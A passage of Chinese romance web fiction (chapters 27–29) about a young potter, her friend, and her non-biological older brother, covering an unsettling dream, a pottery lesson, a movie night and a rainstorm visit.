说话间已经打开外卖软件,点了份肯德基套餐,这个时候也就肯德基出餐快,离园区距离也近。
点完之后两人闲聊的时候,外卖骑手已经把餐送到门口,际琛起身过去拿回来放在桌子上。
两人一起去洗手台洗了手才重新回到客厅。
际琛拆开拆开包装袋,先拿起可乐插好吸管递给沈舒言。
沈舒言伸手接过,喝了几口便放在一边。
她刚吃过饭不怎么饿,又怕际琛一个人吃饭尴尬,才说自己突然想喝可乐。
手机铃声响起,赵岚娜已经把吃饭时要看的电影名字发过来,还说自己到时候要带投影仪过来,观影体验直接拉满。
沈舒言回了个小狗ok的表情包,放下手机时觉得冷,想要起身去关窗户。
在路过沙发时皱着眉看向际琛迟疑片刻,开口时还有点不确定。
“际琛,你耳朵怎么流血了?”
“啊?”
沈舒言快步走过去,凑近看后才确定,“你这个耳洞是不是刚打的?”
说完从纸盒里抽出纸巾递给际琛,听到他肯定的回复,沈舒言看了眼桌面。
“当时帮你打的那个人没告诉你,需要忌口吗?”
际琛拿起手机打开相机,这才看到已经有血从创口流出来,手上还有油,他手忙脚乱。
“你先别动,我帮你。”沈舒言拉住际琛的手腕,制止他慌乱的动作。
她先用纸巾把流出来的血迹擦完,让际琛用纸摁住后,去抽屉里取出医药箱,创口处的血需要用棉签才能擦干净。
她离得近,呼吸很轻,落在际琛的耳后。
他的耳轮悄悄染上了淡淡的红晕,耳尖微微颤动,引得脖颈后的皮肤也逐渐染上一层薄红。
“好了吗?”他在沈舒言毫无准备的时候忽然转过头。
没有任何预兆与欠揍,两人四目相对。
沈舒言下意识屏住呼吸,她完全没有察觉到,两人的距离已经这样近。
鼻尖要碰到鼻尖,际琛的呼吸好要直接落在她的肌肤上。
两人都定住了,空间与时间凝滞不动。
际琛的睫毛不受控制的轻轻颤抖,他的心脏控制不住的跳动,乱了节奏,好像下一秒就要从喉咙里蹦出来,眼里闪过一丝慌乱。
怎么办?他要怎么办?要把自己的计划提前吗?
那会不会太草率了,一点也不正式。
没有鲜花,什么也没有。
甚至在他还有点狼狈的时候。
随即,沈舒言生硬地别过目光,低头将手上的面前扔进垃圾桶里,“好了。”
际琛回来神来,“好了吗?谢谢。”
沈舒言点头,视线落在桌面,“刚打完耳洞要忌口,不能吃这些。”
说完转身去洗手台洗手。
哗哗的水流声无法传进际琛的耳朵,他的心脏还在跳,随后慌忙起身。
沈舒言转头看他,应该已经恢复平静,她面上没有什么表情,“怎么不吃了,那碗粥可以喝。”
“.....好。”际琛应了一声。
水流声停了,沈舒言去关窗户。
回来时际琛已经将粥喝完,正在把其他东西往包装袋里放。
他一手提着袋子,一手拿起自己双肩包,“言言,那我先走了。”
看着际琛的背影消失在视线,沈舒言才呼出一口气。
她的大脑乱哄哄的,刚才实在是....
实在是太尴尬了。
走到沙发旁坐下,听到桌面上的手机震动一声,她附身拿过来,是际琛发来的消息:言言,过几天我把票给你送过去,早点休息。
她回复了一个OK,把手机扔到沙发上。
铃声再度响起,是赵岚娜,沈舒言摁下接通。
赵岚娜问她:“咱们到时候是在你家客厅还是卧室啊?”
“都行。”沈舒言心不在焉。
赵岚娜也看出来了,直接问:“你怎么了?”
“刚才发生一件有点尴尬的事情。”
“什么事?”
沈舒言将事情从头到尾说了一遍,对面的赵岚娜还意犹未尽,“然后呢?”
“什么然后呢,然后就是没了。”
“啧啧啧。”赵岚娜接着问,“那你有什么感觉没有,那种天雷勾地火,电光火石那种?”
沈舒言摇头,“当时就是都没办法呼吸,然后就是觉得不得劲儿。”
赵岚娜说:“看来你对他没意思,不然那么近的距离,早都开始脸红心跳了,怎么可能会尴尬呢。”
沈舒言没说话,那头又继续问,“那你还跟别的异性有这么近的距离过吗?”
“有是有,不过我感觉不算吧。”
“算不算也是我说了算,你先说是谁。”
“嗯........我哥.......就在前几天晚上。”
“哦!那你有没有小心脏怦怦乱跳啊!”赵岚娜的声音都提了好几个度,饶有兴趣。
沈舒言摆摆手,打了个哈
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欠,“好了好了,你别瞎分析了那是我哥,困了,睡觉睡觉。”
“你哥怎么了?又不是亲的!”
“好了,快睡,就不应该跟你说,乱分析一通简直。”
话音落便挂了电话上楼。
卧室里,床边的柜子上放着的台灯亮着柔和的光,瀑布般洒在床上一角。
沈舒言将光调的暗,是刚刚好不刺眼的亮度。
她没有将周良宴送的那一盏灯放在工作台上。
那么用心的礼物,要摆在一睁眼就能看到的地方。
夜晚气温骤降,微风吹着树木,发出声响,是天然的白噪音。
或许是太累,沈舒言侧着身子,脸往一旁的玩偶上埋进去,眼睛慢慢合上。
睡梦中,大脑像过电影一样闪过无数画面。
那好像是一年的酷暑,天气热得不像样子,她早早的就准备洗澡睡觉。
走进浴室才发现花洒不知道什么时候出了问题。
那时候周良宴已经不再让她随意进出他的卧室,可刚好那天他还没回来。
沈舒言抱着衣服鬼鬼祟祟的跑进哥哥的卧室。
周良宴的房间整体以灰色调为主,他骨子里应该有点强迫症,所以他的房间永远整洁,书桌上的东西也都是很有秩序的摆放。
沈舒言环视一眼后走进浴室,虽然在心里想的是爱谁谁,我今天就是要用这个。
但听着水流声砸向地面,雾气慢慢爬上镜子时还是有点紧张。
她闭着眼睛冲掉头发上的泡沫,又快速将身体冲洗好,用浴巾随便胡乱擦了几下,才抱着衣服和沐浴用品的冲回自己的房间。
轻轻关上卧室门,背靠着墙喘气,做了坏事后干什么都慌慌张张。
手忙脚乱的将洗漱用品摆在自己的浴室台面上,准备吹头发。
抬手又愣住,往自己的身上摸了又摸,再翻了下衣服堆,她眼睛睁大,转头看卧室门的方向。
如果胸衣不在自己身上,也不在衣服堆里,那能在哪儿,不言而喻。
她抿了抿嘴唇,视死如归般走出去,对面的卧室门已经关上,轻轻推门进去。
浴室里的灯已经亮起,水流声逐渐停止。
她脸都白了,曲起指关节敲门,过了好几秒,里面才传出周良宴的声音。
“谁?”
“哥,是我,我有东西落在这里了。”就算没看镜子,她也知道自己的脸肯定已经红的要爆炸了。
过了不知道多久,沈舒言感觉自己要熟透了,门才从里面打开。
自己沐浴露的味道与沉香糅杂在一起,就这样横冲直撞的扑面而来。
周良宴应该是在洗澡时听到开门声就已经关掉花洒穿上浴袍,头发上的水珠正顺着发梢往下流。
沈舒言不敢看她,低着头进去,鸵鸟一样,眼睛不受控制的胡乱瞟。
“架子上。”
“.......”
耳尖以肉眼可见的速度变得更红,她整个人僵住,抬手迅速把衣服揣进怀里。
“哥,我走了,你继续洗吧。”
这是什么话啊!沈舒言吐槽自己,恨不得把舌头咬掉。
周良宴倒是没什么反应,只嗯了一声。
秋末的夜很凉,沈舒言卧室的窗户还开着一个狭小的缝隙通风。
梦里却觉得身体十分潮热,睁开眼又回到了那个浴室。
同样是脸颊绯红的站在镜子前,浴室外依旧是灰色调,书桌上的东西依旧井然有序的摆放着。
只有浴室的一片狼藉,洗手台上的东西都被扫在地面。
沈舒言觉得腰有些酸痛,被一双大手牢牢控制着。
身体突然一个卸力,慌忙用手撑在镜子上。
镜面都是水雾,所有的都看不真切。
水雾将手染的湿漉漉的,而后被另一只大一点的手牵住,慢慢十指相扣。
她眯着眼看向镜中的自己,也想要看清楚另一个人。
又闻到熟悉的味道,被慢慢包裹。
她伸手抹开镜子上的水雾。
梦里她仓皇抬眼,看清楚镜中画面。
是她怎么也意想不到的人。
沈舒言惊醒了。
她发觉自己身上都是冷汗,一夜未眠。
27. secret
现在正是晚上三点,夜很沉,没有一点声响。
沈舒言下床把窗户拉上,她被刚才那场有违伦理的梦惊醒,大脑里乱糟糟。
强迫自己闭上眼睛,在床上辗转反侧怎么也睡不着。
索性翻身下床,披了件外套下楼,走到工作区。
她把所有的灯都打开,取出保存好的陶泥,把工作台和旋转台擦好,方便自己捏泥。
制陶是一个出口,也是入口。
它能让人在制作的过程中打理好自己凌乱的心绪,是可以将一切隔绝在外。
给自己一个绝对私密的创作过程和空间。
以前沈舒言每每遇到无法解答的问题时都会待在工作室里做陶瓷。
一个人静静带伤几个小时,所有的事情也就好像变得不重要,也会放松很多。
可这一晚,直到天快要亮,沈舒言还是理不清自己的思绪,依旧困惑着。
她心中始终有杂念,做出的东西也不规整。
沈舒言眼皮耸拉着,实在抵不过困意,工作间也没收拾,走上楼脱了外套就将自己埋进被子里。
往后几天,她都在完成际琛定制的那套茶具,将这件事抛到脑后,再没有去想。
-
几天后,晚上七八点的样子,沈舒言在清扫工作台,门口突然传来脚步声。
她抬眼望过去,手下的动作一顿,又转瞬入常。
是周良宴。
估计是从公司直接过来的,他里面还是剪裁得体的西装,外面搭配着一件款式休闲的风衣,头顶的白炽灯光下,给他整个人都抚上一层光晕,清冷矜持。
望过来的眼光一如既往,“妈妈看你好几天都没回家,让我过来看看你,吃过饭了吗?”
沈舒言整个人还带着点做了错事的小心无措,不敢与他对视,“嗯.....刚才随便吃了点,你这是从公司过来的吗?”
“嗯。”周良宴点头,“今天工作不多,下班比较早。”
沈舒言点头,将桌子上的东西都整理好,去洗手台洗手。
周良宴的目光始终追随着她的身影,她今天穿着一件粉色针织衫和浅色系牛仔裤,因整理工作台,套了个浅咖色围裙系在腰间,头发松散地用发夹夹着,还有碎发从里面溜出来,落在她纤细白皙的脖颈上。
沈舒言回来时,周良宴正坐在沙发上,他环视一周,问:“我送你的那盏灯你不喜欢吗?”
不知道如何回答,她愣了几秒,重重点头,“.....很喜欢。”
她觉得自己的声音是从喉咙里挤出来的,思索该如何解释那盏灯被自己放在卧室里的床头柜上。
“那就好。”周良宴没有再继续问怎么没看到那盏灯,他想既已经送给她,那便是由她处置。
说完站起身走向工作台,转头望着沈舒言:“刚才看你在清理工作台,打扰你工作了吗?”
沈舒言摇头,“没有,最近这几天手上的订单都已经完成了,我刚才是闲着也没事,就想着收拾一下。”
周良宴往一旁的展架上看,盯着一处看了许久,才开口:“这是什么?”
沈舒言顺着他的视线看过去,噗嗤笑出声,“你也看不出来对吧,赵岚娜还非说是我笨,明明就是她捏的这个东西是个四不像。”
周良宴点头,“确实是看不出来,感觉像一只小狗,但是看上去有三只眼睛。”
沈舒言笑得更欢了,“哈哈哈哈,你比我厉害多了,我刚开始实在是认不出来这是什么,她给我看了照片才知道,这是她家里爸爸妈妈养的一只边牧。”
说着还从一旁拿出手机,点开赵岚娜的朋友圈翻出那只小狗的照片,“哥,你看,就是这只小狗,叫南瓜!可爱吧!”
周良宴沉默的望着她,顿了顿才低声说:“很可爱。”
明明说得是小狗,却仿佛另有所指般。
沈舒言丝毫没有察觉,又找了好几张小狗照片出来让周良宴看。
等回过神来,才发觉两人离得太近,衣衫都紧紧贴在一起。
怕自己又会做那晚违背伦理的梦,她往后退了一小步,朝别处走。
周良宴轻声说:“我可以试试吗。”
“当然可以!”沈舒言转头看他,眼神中还带着惊讶,然后继续说,“哥那你先去洗手吧,我去准备东西。”
周良宴将风衣脱下放在沙发上,而后挽起衬衫衣袖,拧开水龙头洗手。
洗完再走回去的时候,沈舒言已经将东西都准备好。
沈舒言让他坐在自己对面,用线切了一块陶土递给他。
看着又觉得周良宴过于严阵以待,笑出声来:“哥,不用那么严肃的,放松一点好不好。”
周良宴轻轻点头。
沈舒言又问:“有没有想做的东西?”
“没想好。”
“那我给你那块儿土做杯子刚好可以,那我们都做杯子吧。”
她把自己手中陶土摔在台子上,放在板子上揉了揉,拍板正。
揉泥这一步主要是排出泥巴内的气泡,防止烧制的时候开裂,也可以让泥巴有一定的方向性,方便到时候找中心位置。
接下来她一步一步教对面的人,看着倒真有点儿老师的样子。
可能是聪明人学什么都很快,没几下,周良宴手中的陶土已经有模有样。
沈舒言看着他:“哥,我刚开始学了好半天呢,你怎么这么快就会了。”
周良宴抬头望她,嘴角有笑意,“是沈老师教得好。”
沈舒言这下没有谦虚,她点点头,对自己的技术和教学能力还是很有自信的。
她让周良宴把球状的陶土对准转盘的中心按下去,再用手掌根部将陶土拍正,在后续的时候偶尔还需要加水。
周良宴一边观察她示范的动作,一边听话照做。
可不知道哪里出现问题,往上提的过程中,手中的陶土不听话,不是断开就是歪倒在一边。
“向上提的时候慢慢来,用手掌外侧,往下推的时候用用大拇指根部,不着急,没关系的。”
沈舒言说着已经站起身走到周良宴身侧,帮他规范动作,几句下来颇有成效,看着他已经熟练,才回到自己的位置上。
最后一步就是拉胚,过程中一定要轻、慢、控制好手上的力度。
开孔时沈舒言帮周良宴拿了个测量底部厚度的工具,防止厚度没留好,到时候会导致内外干燥不均导致破裂或无法成型。
周良宴没搞明白那工具的用法,沈
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舒言起身走过去接过工具,俯下身子帮他。
一股淡淡的香味,像是一场雨后,森林中嫩绿树叶上的晶莹剔透的露水。
周良宴的视线始终在那块儿陶土上,可余光依旧抑制不住的瞥向旁边的人。
沈舒言捋在耳后的头发垂落,可能是有些痒,她将头往旁边侧,动作间脖颈上的项链从衣领掉出来。
周良宴认出那是儿时母亲求的平安扣,又将所有视线都集中在转盘上的陶土上,屏气凝神。
沈舒言将厚度调整好,才重新回到对面坐下,暗暗呼出一口气。
周良宴的存在感太强,站在他身边便会被包裹,使得她总是想起那晚。
知道基本的操作要点后,两人都没有说话,工作间只有机器运作时发出的细微声响。
沈舒言抬眼朝对面望过去,周良宴神情专注,没有一丝懈怠。
几秒后,他却似有所感的抬头。
沈舒言来不及收回,两人的视线就这样在空中交汇。
周良宴的眼神里似乎带着某种炽热,惊得她率先垂下目光。
好在桌面上的手机响起铃声,沈舒言才暗自松了一口气。
周良宴停下手中的动作,去洗手池将手洗干净后接起电话,大约是工作上的事情。
几分钟后回来,他看着已经快要成型的杯子,有些抱歉,“公司临时有项目出了问题,我要过去看看,这个......”
沈舒言伸手比了个OK的手势,“哥,包在我身上,你这个已经差不多要好了。”
周良宴点头,走向厨房。
沈舒言心下疑惑:“哥,你要找什么?”
“没有,我看看你冰箱还缺什么,我过几天买好给你带过来。”
沈舒言心中的愧疚又增加一份,哥哥对她这样好,她怎么能......
回神时,周良宴已经穿好风衣外套,低声说:“言言,我走了。”
“嗯,好。”
随后脚步声朝着大门走去。
沈舒言抬眼透过玻璃看向门口,直至车辆启动,消失在自己的视线里。
她在冷白灯光下坐了片刻,前几日那个问题不知道从哪里跑出来重新钻进耳朵。
心口像是有大石头压着,有些难受。
说不清楚受难的原因,也想不明白那晚那场梦的原因。
脑子像是被倒进去一团浆糊,怎么理都理不明白。
沙发上的手机震动,沈舒言起身去将手洗干净捞起手机。
是赵岚娜:【咱们到时候看电影的话,我今天去你家呀?】
沈舒言回:【那天我可能要去开窑,你晚点过来吧,下午五六点就行。】
赵岚娜:【行,那我先提前把外卖什么的点好,到时候窝在沙发上直接就能开始。】
沈舒言:【好,只是我还不知道要看的是什么电影,不是恐怖片儿吧。】
赵岚娜:【当然不是!不是圣诞节要到了,当然要看爱情电影啦!电影名叫《真爱至上》,不过你可不能先看,不要剧透!】
沈舒言笑了笑:【好,知道啦,等你。】
回复完赵岚娜的消息,沈舒言看了眼日历,也快到际琛比赛那天了。
时间刚刚好。
28. secret
晚秋的清晨,天蒙蒙亮,太阳沿着地平线探出脑袋。被揉碎的阳光透过稀疏的云层,落在树木上,光与影交错蔓延,所到之处皆是金黄。
鸟儿在窗边结群徘徊,时高时低,轻盈的身影被熠熠阳光轻抚,在浅色窗帘投下阴影又迅速飞走,清脆的啼叫声也被微风吹着送进屋内。
双人床上少女藕白色的胳膊搭在床沿,另一个枕头在睡梦中被扔到一边,好像稍微一动就要顺着床沿掉到地上。
窗外的啼叫与手机铃声同时响起,沈舒言被叫醒,眼睛依旧眯着舍不得睁开,而后用手摁下通话键。
昨晚熬夜看了中国陶瓷系列纪录片,现在十点四十五分,她拢共才睡了四个小时。
沈舒言扶着昏昏沉沉的脑袋坐起身,窗外的鸟儿飞走,起身光脚踩着地毯拉开窗帘,将窗户拉开一个缝隙,刺骨的冷顺着睡衣的衣领往里钻,扫过全身,她打了个哆嗦重新坐回床上。
懒散的靠着床头,沈舒言对着话筒那头假装埋怨,“小姐,创业就是为了上下班自由,怎么这么早打电话过来~”
赵岚娜的笑声很响亮,和她一起飙起演技,“哎呀,沈老板,有钱不赚是傻子,明年的房租攒够没有啊~”
沈舒言闭着眼睛缩进被子,“赵小姐,莫要提我的伤心事。”
话音刚落那头又传来笑声,“好啦,沈老板,今天下午我准时过去哦,咱两真是好久都没有坐在一起好好聊天了。”
沈舒言还被困意纠缠着,哼唧一声,“下午过来提前打招呼,我好准备准备。”
“Noproblem!”
赵岚娜和沈舒言都很期待这次夜聊。
两人从在大学时就会不定期的聚在一起谈天说地。
直到毕业,沈舒言进入陶艺工作室,赵岚娜选择留校继续攻读。
刚开始两人一个月还勉强能聚上几次。
可后来沈舒言工作量越来越大,有时候连家都回不了,每天就待在工作室和同事们守着柴窑,一夜一夜的守。
赵岚娜在手机上喊不出来沈舒言,带着吃的直接杀到她上班的地方想要好好兴师问罪。
可在看到灰扑扑的好友时还是红了眼眶,她总说,好好一个漂亮姑娘,怎么总爱和土打交道。
沈舒言说她不懂,土其实也是很好的朋友。
直到某次,她为了磨磨自己的急性子跟好友一起做了一次陶艺,才懂沈舒言的意思。
当她亲手将一块陶土塑造成自己想要的形状,再经过上色烤制等等,最终变成精美的陶艺作品。
那种成就感和满足感是无与伦比的。
电话挂断,沈舒言起身拉上窗帘,定了个闹钟后又把自己埋进床上柔软的被子里。
再次被闹钟吵醒,已经是下午快五点,补了好几个小时回笼觉,她终于睡饱。
洗漱好下楼,肚子因为太久没有进食,正咕噜咕噜的叫嚣着饿意。
沈舒言径直走向冰箱,打开冰箱门,熟悉的字迹映入眼帘。
她抬起手,手指划过便利签上水笔留下的印记,怔愣片刻。
还好,自那晚以后,她再也没做过相同的荒唐梦。
轻轻甩了下脑袋,从冰箱深处拿出各种食材,几分钟就做好一个三明治。
她要留着肚子和朋友吃炸鸡喝饮料。
最近气温降的厉害,下午已经能感受到微凉的风,夕阳渐落,地平线都被染成橘色。
沈舒言刚把客厅的东西都收拾好,就听到雀跃的脚步声从门口传来。
赵岚娜双手提着袋子走到沙发旁,里面装着的都是零食,炸鸡还有各种饮料,“噔噔蹬蹬!surprise!我来啦!都是咱两爱吃的!今天要聊尽兴,吃尽兴!”
沈舒言没顾得上接话,拿起一旁的手机点开外面软件,奈何为时已晚,她只能把手机屏幕朝着赵岚娜晃了晃,“我也买了,今晚真是要吃尽兴了。”
赵岚娜一屁股坐到沙发上,伸出手一把揽过沈舒言的肩膀,看上去信心满满,“放心,绝对可以解决,相信咱两的战斗力。”
沈舒言笑着点头,“但愿。”
等外卖送过来后,两人分头行动。
沈舒言去将窗帘拉上,赵岚娜则低头鼓捣着早就邮寄过来的投影仪。
这是她毕业时买的,想着自己以后租房肯定用得上,谁知道学校第二年便向学生提供免费住宿,新盖的宿舍楼环境好,离学校也近,索性便退了自己租的房,搬回了学校。
这投影仪也就没了用处,在宿舍落了不少灰,今天也算是终于派上用场。
等一切收拾完毕,沈舒言从楼上取下来厚毛毯,她和赵岚娜一人一个,裹着坐在沙发上。
赵岚娜爱看电影,每个月要看上好几部。
这次的影片也是她精挑细选出来的,一部由10个爱情故事串成喜剧的大杂烩,名字叫《真爱至上》。
两人边吃边看边东聊西扯,转眼间还真的将桌面上的食物消灭了一半。
桌面上手机振动,是赵岚娜的。
沈舒言探身帮她捞起来递过去。
赵岚娜扯过抽纸擦干净手,点进微信聊天框,回复一个OK的表情包。
沈舒言看过去,是赵岚娜的舍友,说她今晚熬夜写作业,让她明天早上回去是帮忙捎一份早点。
回完消息,赵岚娜的手机回到锁屏界面,沈舒言瞄了一眼,“哎呦,怎么换爱豆啦?”
听到这话,已经被放回桌面的手机被赵岚娜重新拿起,眼里都在冒光,点开相册递到沈舒言面前,“怎么样,帅吧?”
沈舒言对这些明星爱豆一向不感冒,只轻轻点了点头,对她的追星时长提出疑问,“你这次换的有点快啊。”
赵岚娜摆摆手,“没办法,这不是我能控制的。”
“什么意思,为什么你不能控制?”
“我梦到他了。”
梦,听到这个字,沈舒言下意识停顿几秒,继续听赵岚娜说话。
赵岚娜:“听我细细跟你讲嘛,你知不知道如果梦到一个人,很有可能就会在醒来时对他有心动的感觉。”
沈舒言没说话,静静听着。
总而言之就是,意识是物质的投影,梦境反映意识。
梦到一个人,大概率是一种探究欲,这种情绪几天就会消散。
听到这话,沈舒言紧绷的身体才逐渐放松,喝了一小口饮料。
原来是这样,她若有所思。
所以那天所有反常的情绪都是因为那晚的梦,是不受自己控制的,沈舒言想。
她终于找到合理的解释。
看完电影,赵岚娜照例截电影场景发朋友圈。
一共10个小故事,她将其中两个拼在一起,发了个九宫格。
沈舒言拿起手机给她点赞,随意翻动截图时看到一张尤为熟悉的街景。
她放大照片问:“这是那个故事?”
沈舒言难得对电影感兴趣,赵岚娜来了精神,兴致勃勃的向好友讲解。
“这是一个暗恋的故事,男生喜欢上朋友的妻子,平日里他不跟女生说话,甚至让女生以为他讨厌她。结果那个女生在看他拍摄的自己婚礼视频时才发现,镜头里都是她的特写。大意就是在讲无声克制的爱吧。怎么了?”赵岚娜问。
沈舒言点开微信,保存一张图片后在相册里调整亮度。
再打开朋友圈看电影截图。
反复对比后,悬在手机屏幕上的指尖停顿,确认这确实是同一张图。
赵岚娜凑过去,“怎么了,这啥呀,你干嘛截局部图,都看不出来是这部电影了。”
“不是我截的,是一个朋友的头像。”
赵岚娜不可思议的接过手机,“啊,你朋友圈的,谁啊?”
沈舒言摇头,顿了几秒才说:“你不认识。”
“依我看,这位朋友大概率就是在暗恋,还是背着所有人,不过这也太隐蔽了。”
“为什么这么确定,万一就是用着好看呢。”
赵岚娜无奈的喝了口
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饮料,“我的沈大艺术家,你真是顿感,谁用截图当头像会把图截局部,不就是不想被别人发现,又想找一个宣泄口。再说了,这部电影这么多场景,为什么偏偏截这个故事呢,而且还调这么暗,啧啧啧,有点儿那种瞒着全世界喜欢一个人的感觉了。”
说完这一大段话,她再次确认,“我真的不认识?”
沈舒言斩钉截铁,“你真的不认识。”
两人看完电影,收拾好客厅以后回到卧室。躺在床上后并没有马上睡觉,又东拉西扯的聊了好久才睡。
赵岚娜学校还有事,第二天走的早,沈舒言睁眼时卧室就已经只剩下她一个人。
从枕边取出手机,屏幕顶部弹出暴风雨黄色预警。沈舒言庆幸赵岚娜回去的早,晚一点赶上暴雨还真不好回学校。
她起身下楼关好门窗,防止等会暴雨扑入屋内,切断一些不必要电源等等一切都安顿妥当,才放下心来。
刚好投影仪设备还放在客厅,她准备继续看之前那个没看完的纪录片。
-
禾旭大厦内,周良宴刚看完高卓远递过来的项目报表,正靠着椅背闭目养神。
叩叩叩,敲门声响起。
“进。”
高卓远推门进来,“周总,那我就先走了,您也早点回去,气象台报道今天要下暴雨。”
周良宴说:“好,你先下班吧,我也准备回去了。”
禾旭不强制员工加班,到点就走,高卓远工作岗位特殊,偶尔会下班晚一些。他走时顺手将外面的灯关了,此时大楼里就只剩下顶层还亮着灯光。
天色渐暗,周良宴才离开公司,没有回自己的公寓,直接将车开到最近的商超。
文创园离市中心还有一段距离,眼看着今天这个天气的趋势,还不知道等会的暴雨要下多久,他怕沈舒言一个人应付不过来。
采购完毕从商超出来时,外面已经黑云压城,天越来越暗,乌云连在一起好像一块黑色的绸布,要直接盖在地面上一样,路边的树也被吹的左右摇摆。
周良宴皱着眉往外,车窗外显然是暴雨的前奏,不敢耽误太久,踩下油门径直往文创园驶去。
-
沈舒言裹着毯子窝在沙发上,纪录片已经播放好几个小时,她看得有些昏昏欲睡。
后来是被外面的声响吵醒的,雨水不停拍打玻璃,树木被吹得发出呼呼声。
她起身来到窗前,预警中的暴雨在她入睡时悄然降临于这片大地。
往日里蓝的天已经被乌云全部遮盖,雨越下越大,耳边都是由远及近的沙沙声,雨水落在地面扬起白雾。
雨水倾泻,有几滴落在她的手臂上,很凉,这才回过神,将窗户重新关上。
却在抬手要拉窗帘时,突然停止动作。
透过窗户,她看到一辆车正行驶在雨幕中,外面的雨实在是太大了,溅起的雨水将能见度降得很低。
沈舒言还有些近视,视线中那车稳稳停下,她才终于看清车牌号。
周良宴从驾驶位下来打了把黑色的伞。
雨很大,被风一吹像是从四面八方涌来似的要打湿人的衣衫。
可那身影显然丝毫不在乎,打开后备箱拿出购物袋往这边走。
沈舒言快步走到门口,将门打开。
没有被玻璃隔绝的雨声更大,鼓点般敲击地面。
周良宴撑着一把伞,天空洒下的水珠在伞面跳跃,有些落在他的肩膀打湿衣襟。
被水浸过的西装颜色更深,周良宴站在伞下的阴影中,他低头望着她,镜片上站了几滴雨。
沈舒言回望。
模糊玻璃片后的双眸,幽深静默。
“还好吗?”他低声问。
雨幕如织,屋檐有水珠滴滴答答的落在地面。
这话说得没头没尾,沈舒言却瞬间了解他的意思。
他知道她小时候最怕的就是如鼓般,像今天这样的暴雨。
过了有好几秒,她眼睫微颤,轻轻摇头。
29. secret
因天气原因,今日天空比以往更加的暗,街灯还没亮起,往外看时视线中皆是漆黑一片。
“哥.....”沈舒言低呼一声,迅速侧过身子留出位置,“.....快进来!”
外面的雨越下越大,周良宴将伞收起,伞面上的雨水顺着内里伞架折痕往下滴。
从未想过会有人在这种极端天气过来,沈舒言没把伞篓从仓库取出。
此时她顾不得这么多,从面前的人手中接过伞,随意的靠在墙边一角。
周良宴的手垂在身侧,静静地望着面前的人,看她面上没有被吓到慌乱的样子,才轻缓地呼出一口气,顺从的任由她动作。
屋内的灯全都关着,只有茶几上的投影仪亮着光,还孜孜不倦的工作。
沈舒言转身摁下墙上的总控开关,眼前整个空间瞬间亮堂起来后。
她下意识往自己身后看,周良宴身上的西装已经被雨淋湿大半。
关掉还在放映投影设备,沈舒言指了下旁边的沙发,“先坐,我去烧点热水。”
说完从一旁的箱子里拿出几瓶矿泉水倒进烧水壶后摁下开关,随后又噔噔噔跑到楼上。
约莫几分钟后从楼上下来,走到客厅时抬眼看到周良宴还站在哪儿,问:“怎么不坐?”
周良宴:“不了,身上淋雨了,脏。”
沈舒言快步走到他跟前,把手中的浴巾递过去:“坐吧,还能有我刚坐完陶艺的时候脏嘛。”
周良宴顿了几秒,接过毛巾抬脚走到沙发旁坐下,“谢谢。”
刚才取东西时不好打伞,他的手臂和肩膀被水淋湿大半,西装下的衬衫已经濡湿,紧紧贴在身上。
沈舒言站在一边看着,她很少见周良宴有这样是时候,他永远都是妥帖规整的。
而此时,平日里没有一丝褶皱的西装被雨淋湿,额前的刘海也散落几根,只有脖颈处的领带没有变化,像是战场上最后一个士兵守着即将要被攻破的隐秘地带。
被短发覆盖的耳后薄薄的水汽一直蔓延至脖颈处,看上去好像都湿漉漉的,仿佛光滑的绸缎,细薄的皮肤透出跳动的青筋。
金丝镜框下的狭长的淡琥珀色双眸却仍旧是极为平静的。
哥哥好像总是这样的,像她上次看展时展厅最中间放着的那颗神秘幽深的玉石,秘不可谈,攻不可破,沈舒言想。
周良宴正低头用毛巾认真的将手擦拭干净,顶光倾泻,在他立体的五官上打出阴影。
他不怎么爱笑,此时嘴唇也是抿在一起。
沈舒言回过神来时,周良宴已经将手擦干净,把毛巾对折叠好放在茶几上。
他扫了桌面一眼,“在看电影吗?”
“不是电影,在看纪录片,”沈舒言摇头,“朋友推荐说挺有意思的,我前天晚上看一些,准备今天看完来着,谁知道不过没看多少就睡着了。”
周良宴轻轻点了点头。
两人说话间,水已经烧开,发出声响。
沈舒言站起身,去接水。
从橱柜里取出马克杯,用清水洗干净后倒上水回到客厅。
周良宴伸手接过,两人的指尖微微碰触一秒后又分开。
他刚从外面进来,手还是凉的。
与沈舒言的碰上时,触觉尤为明显,像冰与火的碰撞般。
她莫名想起赵岚娜前几天在电话里说的电光火石。
周良宴一只手端起杯子,杯里是水还很烫,大概杯壁足够厚,拿在手里时的温度刚刚好。
他垂眼看着,觉得眼熟,落在杯子上的视线顿了几秒。
还没等他问,沈舒言就开口解释。
“是不是觉得很眼熟?”
周良宴点头,似乎想到什么,“是上次的那个半成品?”
沈舒言:“不应该叫半成品,那种程度的话,其实没几步就可以完工了。”
说完低头在茶几的抽屉里翻翻找找,第二个抽屉才终于找到想要到,伸手将感冒药放在桌面。
“淋了雨会感冒,喝点药预防一下。”
“嗯。”
周良宴看了眼,将手中的杯子重新放回桌面。
等水凉的差不多,沈舒言便催着让他喝了几粒感冒灵。
喝完药,挂在墙上的钟表滴滴答答的走着,表盘里的指针显示,现在已经晚上快八点。
周良宴又喝了口水,准备起身告辞。
隔着玻璃和厚重的窗帘,屋外的雨声依旧清晰可见。
显然如今的雨势比刚才还要大,每一滴雨水打在玻璃上都让人恍惚觉得,它势要将玻璃凿穿。
沈舒言意识到周良宴要走了,起身跟在他身后。
打开房门的瞬间,暴雨不停歇的从天上往下砸腾起水雾,有少许雨滴也被风拖着落在两人身上。
门口的树木被风吹得倒向一边,偶尔响起的雷声似乎要将大地都劈开。
狂风骤雨,冷风扑面,电闪雷鸣。
并不是出门的好时机。
周良宴却看不到似的,径直去拿靠在墙角的伞。
沈舒言则拢了下外套,看着屋外的景象皱眉,斟酌几秒在人踏出门前开口。
“......哥”
周良宴往外走的动作停了下来,转身望着她等她继续说。
“你今晚别回去了吧,这个天气开车,实在是不安全。”
话音落下,沈舒言似乎察觉到周良宴静默一瞬。
他抬眼看向她,“没事,我会小心。”
沈舒言没说话,只默默转身拿过茶几上的药,“不行,你刚才喝过的药,喝完会很困想睡觉,真的不安全。”
看那人还在思索,她走了几步,索性一把夺过他手中的伞,“好了,就这样吧,楼上的客房我刚好前几天收拾过。”
那语气透露着不容拒绝,周良宴只得妥协。
-
距离睡觉的时间尚且还早着。
沈舒言把昨天没吃完的零食拿出来放在桌子上,虽然知道周良宴不爱吃零食,但还是往他那边推了推。
周良宴看了一眼,没说话。
房间里的灯都关了,只有面前的幕布亮着光。
沙发上裹着毛毯的人儿看得很专注,没察觉到一旁注视自己的视线。
沈舒言的眼睛很亮,因瞳孔颜色深,所以看向别人时总显得尤为真挚。
